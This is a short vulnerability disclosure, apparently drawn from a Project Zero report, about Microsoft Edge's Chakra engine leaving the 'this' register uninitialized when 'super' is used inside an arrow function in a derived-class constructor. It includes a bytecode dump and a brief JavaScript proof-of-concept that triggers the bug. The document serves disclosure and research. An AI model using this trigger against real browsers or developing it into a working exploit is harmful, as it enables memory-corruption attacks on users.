Microsoft Edge Chakra – ‘EmitAssignment’ uses the ‘this’ Register Without Initializing
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1283 "EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used. Here's the generated bytecode for the lambda function in the PoC. R5 is uninitialized. Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7]) 9 locals (1 temps from R8), 1 inline cache Constant Table: ======== ===== R1 LdRoot R2 Ld_A (undefined) R3 LdC_A_I4 int:1 0000 ProfiledLdEnvSlot R6 = [1][4] <0> 000c ProfiledLdEnvSlot R4 = [1][3] <1> Line 28: super.a = 1; Col 13: ^ 0018 LdHomeObjProto R8 R4 001d ProfiledStSuperFld R8.(this=R5) = R3 #0 <0> 0025 LdUndef R0 Line 29: } Col 9: ^ 0027 Ret PoC: --> class Parent { }; class Child extends Parent { constructor() { (() => { super.a = 10; // Implicitly use the "this" register. So it must be initialized. })(); } }; new Child(); |